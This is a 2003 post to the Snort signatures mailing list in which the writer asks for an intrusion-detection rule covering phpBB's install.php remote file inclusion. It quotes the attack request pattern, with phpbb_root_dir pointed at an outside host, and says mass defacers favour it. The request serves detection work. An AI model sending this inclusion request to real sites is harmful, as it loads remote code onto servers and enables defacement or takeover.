[Snort-sigs] install.php?phpbb_root_dir=http:// sig?

Eric Appelboom eric at ...322...
Tue May 20 04:22:11 EDT 2003


Could someone write a signature for request like 
http://URL/install.php?phpbb_root_dir=http://MYBOX/

As described at 
http://www.securiteam.com/unixfocus/5WP0E2A7FA.html

This is the favourite exploit of mass defacers Perfect.Br
http://www.zone-h.org/en/defacements/filter/filter_defacer=Perfect.Br/

Best regards
Eric




More information about the Snort-sigs mailing list